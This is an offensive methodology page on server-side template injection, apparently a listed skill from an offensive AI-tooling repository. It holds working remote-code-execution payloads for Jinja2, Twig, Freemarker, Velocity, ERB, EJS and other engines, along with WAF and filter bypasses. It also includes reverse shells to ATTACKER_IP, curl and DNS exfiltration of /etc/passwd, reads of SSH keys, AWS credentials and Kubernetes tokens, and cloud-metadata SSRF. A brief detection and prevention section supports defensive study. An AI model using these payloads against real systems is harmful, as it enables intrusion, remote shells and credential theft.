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offensive-ssti

Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.

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Server-Side Template Injection (SSTI) -- Offensive Methodology

SSTI exists wherever user-controlled input is concatenated into a server-side template string and the engine evaluates it as code. The engine executes attacker-supplied directives, granting access to the language runtime and, in nearly every engine, remote code execution through the host language's object model. You encounter SSTI in any application passing raw user input to functions like render_template_string(), Template(), or compile().

CWE-1336. MITRE ATT&CK T1190.

Quick Workflow

  1. Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
  2. Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
  3. Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
  4. Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
  5. Escalate to information disclosure: dump config, env vars, secrets, internal paths.
  6. Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
  7. Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
  8. Produce non-destructive PoC with unique marker and capture the full request/response chain.

1. Engine Detection and Fingerprinting

1.1 Polyglot Probes

${{<%[%'"}}%\          Universal polyglot
{{7*7}}                Double-curly arithmetic
{{7*'7'}}              String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %>             ERB / EJS style
#{7*7}                 Pebble / Pug / Thymeleaf contexts
@(7+7)                 Razor (.NET)

Engine-narrowing probes:

{{config}}             Jinja2/Flask config dict
{{_self.env}}          Twig Environment object
{$smarty.version}      Smarty version string
<#assign x=1>          Freemarker (then reference x in dollar-curly)

For Velocity, inject #set( $x = 7 * 7 ) then reference $x. For Thymeleaf/SpEL, inject a dollar-curly expression with T(java.lang.Math).PI. For Mako, inject a dollar-curly expression with self.module.__name__.

1.2 Decision Tree

{{7*7}} --> 49?
  YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
                    --> "49"?      --> Twig
                    --> error?     --> Handlebars
  NO  --> dollar-curly with 7*7 --> 49?
            YES --> dollar-curly with class ref   --> Velocity
                    dollar-curly with T(Math).PI  --> Thymeleaf
                    <#assign x=1> then ref x      --> Freemarker
                    error contains "mako"         --> Mako
            NO  --> <%= 7*7 %> --> 49?
                      error with "erb"/"Erubi"    --> ERB
                      error with "ejs"            --> EJS
                    @(7+7) --> 14?                --> Razor

1.3 Error Signatures

SignatureEngine
jinja2.exceptions.UndefinedErrorJinja2
Twig\Error\SyntaxErrorTwig
freemarker.core.ParseExceptionFreemarker
org.apache.velocity.exceptionVelocity
com.mitchellbosecke.pebble.errorPebble
SmartyCompilerExceptionSmarty
mako.exceptions.SyntaxExceptionMako
Parse error with Handlebars contextHandlebars
SyntaxError with ERB pathERB
org.thymeleaf.exceptions.TemplateProcessingThymeleaf
SyntaxError with .ejs pathEJS
Pug:ErrorPug

1.4 Blind Detection

Time-based: {{range(99999999)|join}} (Jinja2), <%= sleep(5) %> (ERB). For Java engines, inject a dollar-curly with T(java.lang.Thread).sleep(5000).

OOB DNS: Use Burp Collaborator or interactsh. Jinja2: {{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}. Twig: {{['nslookup UNIQUE.oastify.com']|map('system')}}.

Error inference: Compare {{7*7}} vs {{7*'INVALID}} -- different response behavior confirms processing.


2. Jinja2 / Python

Exploitation relies on MRO traversal to object, subclass enumeration, and __globals__/__builtins__ access.

2.1 MRO Traversal and Subclass Enumeration

{{''.__class__.__mro__[1]}}                    # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}}   # List all subclasses

# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}

2.2 RCE Chains

# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}

# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('os').popen('id').read()}}
  {% endif %}
{% endfor %}

2.3 File Ops and Info Disclosure

{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}    # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}}                                                                # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}}                                     # DB URI
{{request.environ}}                                                       # WSGI env

3. Twig / PHP

3.1 Legacy (Twig 1.x) -- _self.env

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}

3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks

{{'id'|filter('system')}}                  # filter() with system
{{'id'|filter('passthru')}}                # filter() with passthru
{{['id']|map('system')|join}}              # map() callback
{{['id',0]|sort('system')|join}}           # sort() callback
{{[0,'id']|reduce('system')}}              # reduce() callback

3.3 Info Disclosure

{{app.request.server.all|join(',')}}       # Symfony server vars
{{dump(app)}}                              # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}}      # File read (debug mode)
{{'/etc/passwd'|file_get_contents}}        # If exposed as filter

4. Java Template Engines

4.1 Freemarker -- Execute and ObjectConstructor

RCE via the Execute class -- use <#assign> to instantiate it, then reference it in a dollar-curly expression with the command string as argument:

GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com

ObjectConstructor for ProcessBuilder:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>

4.2 Velocity -- Runtime.exec

#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()

4.3 Pebble -- Reflection Chain

{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}

4.4 Thymeleaf -- SpEL via Preprocessing

Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before template resolution. Inject into path variables or parameters:

GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com

File read:

GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com

SpEL keyword bypass via Character references: T(Character).toString(105).concat(T(Character).toString(100)) produces id.

Spring bean access: @environment.getProperty('spring.datasource.password').


5. Other Engines

5.1 Smarty (PHP)

{$smarty.version}                           # Version disclosure
{php}echo shell_exec('id');{/php}           # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}

5.2 Mako (Python)

Mako compiles to Python modules with full runtime access. Block-style:

<% import os; result = os.popen('id').read() %>

Then output the variable in a dollar-curly expression. URL-encoded single-line:

GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com

5.3 ERB (Ruby)

<%= system("id") %>                                     # Command exec
<%= `id` %>                                             # Backtick exec
<%= File.open('/etc/passwd').read() %>                  # File read
<%= Rails.application.credentials.secret_key_base %>    # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>

5.4 Handlebars (Node.js)

Logic-less by design; RCE requires prototype pollution or unsafe helpers:

{{#with "s" as |string|}}
  {{#with "e"}}{{#with split as |conslist|}}
    {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
      {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
    {{/with}}
  {{/with}}{{/with}}
{{/with}}

5.5 EJS (Node.js)

<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>

Prototype pollution via outputFunctionName:

POST /render HTTP/1.1
Content-Type: application/json

{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

5.6 Pug / Nunjucks (Node.js)

Pug:

- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x

Nunjucks:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

6. Filter and WAF Bypass

6.1 Character Restriction Bypass (Jinja2)

# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}

# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}

# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}

6.2 String Construction

# Tilde concatenation
{{''|attr('__cla'~'ss__')}}

# Join filter
{{''|attr(['__cla','ss__']|join)}}

# Plus in brackets
{{''['__cla'+'ss__']}}

# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}

# Twig tilde
{{('sys'~'tem')('id')}}

6.3 Attribute Access Alternatives

{{obj|attr('__class__')}}                   # |attr() filter
{{obj.__getattribute__('__class__')}}       # __getattribute__
{{obj['__class__']}}                        # bracket notation
{{obj|attr('__getitem__')('key')}}          # |attr() + __getitem__

6.4 Encoding and Smuggling

# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}

# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}

6.5 WAF Evasion Techniques

Parameter splitting:     ?a={{&b=7*7&c=}}
HTTP Param Pollution:    ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion:  Submit as application/json when WAF inspects form-urlencoded
Double URL encoding:     %257B%257B7*7%257D%257D
Whitespace injection:    {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection:       {{\n7*7\n}} (WAFs may not match cross-line patterns)

6.6 Engine-Specific Bypass

Freemarker -- when ?new() is restricted, use ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>

Thymeleaf -- build strings from T(Character).toString() calls to avoid keyword filters.


7. Blind Exploitation

7.1 Time-Based

{{range(99999999)|join}}                   # Jinja2: CPU-intensive delay

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{x()._module.__builtins__['__import__']('time').sleep(5)}}
  {% endif %}
{% endfor %}                               # Jinja2: explicit sleep
{{['sleep 5']|map('system')}}             # Twig
<%= sleep(5) %>                            # ERB

Freemarker: assign Execute, invoke with "sleep 5". Thymeleaf: dollar-curly with T(java.lang.Thread).sleep(5000) in preprocessing wrapper.

7.2 OOB DNS Callbacks

# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}

# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
{{['curl http://UNIQUE.oastify.com']|map('system')}}    # Twig
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %>   # ERB

7.3 Error and Boolean Inference

{{config.__class__.__name__ + 1}}          # Type error leaks data in error page
{{1/0}}                                    # Division by zero with engine info

# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}

8. Chained Exploitation

8.1 SSTI to SSRF

# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}

8.2 SSTI to File Read

{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}}                               # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}}          # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}}                 # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}}            # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}}  # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}}                    # Process env

8.3 SSTI to Reverse Shell

Jinja2:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

Freemarker: assign Execute, invoke with bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}.

ERB:

<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>

8.4 SSTI to Privesc Enumeration

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}

8.5 SSTI to Data Exfiltration

# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}

# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

Detection / Defender View

Indicators of Attack:

  • Template delimiters in input: {{, {%, <%, #{, #set(, <#assign.
  • MRO strings: __class__, __mro__, __subclasses__, __globals__, __builtins__.
  • Java reflection: getRuntime, ProcessBuilder, forName, T(java.lang.
  • Template errors in responses from user-triggered requests.

Indicators of Compromise:

  • Unexpected child processes from web workers (sh, bash, curl, nslookup).
  • New files in /tmp or web root created by the app process.
  • Outbound connections to callback services or unfamiliar IPs.
  • Cloud metadata access from containers that should not query 169.254.169.254.

Prevention:

  • Never concatenate user input into template strings -- use template variables.
  • Block dangerous APIs in CI: render_template_string(), Template() with user input, Environment.from_string().
  • Enable sandboxing: Jinja2 SandboxedEnvironment, Freemarker SAFER_RESOLVER.
  • Restrict Twig filters/functions to a safe allowlist.
  • Disable {php} in Smarty, compileDebug in EJS, SpEL preprocessing in Thymeleaf.
  • Run apps with minimal privileges, seccomp/AppArmor, read-only root filesystems.
  • WAF rules as defense-in-depth (see section 6 for bypass techniques).
  • Track CVEs: CVE-2024-22195 (Jinja2 xmlattr bypass), CVE-2024-46507 (Yeti RCE).

Engagement Cheatsheet

PhaseActionTool / Technique
ReconMap input reflection pointsBurp Suite, waybackurls, qsreplace
DetectionInject polyglot and arithmetic probesffuf, Burp Intruder, manual
FingerprintingIdentify engine via decision tree/errorsError signatures, variable probes
ValidationConfirm server-side executionTiming, source inspection
ExploitationApply engine-specific RCE chaintplmap, SSTImap, TInjA, manual
BypassEvade WAF/filtersSection 6 techniques
BlindOOB, time-based, error-based methodsBurp Collaborator, interactsh
EscalationChain to file read, SSRF, shell, privescSection 8 chains
ProofNon-destructive PoC with unique markerDNS callback, unique file

Tool Quick Reference

# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test'              # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2    # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test'         # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id  # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell   # Interactive shell

# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test'           # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S        # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id'   # Run command

# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable

Key References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

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Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.

日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.

日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

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日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.

日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.

日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.

日本語の概要は準備中です。原文の説明を表示しています。

SnailSploit/Claude-Red7,4182026年9月20日 更新

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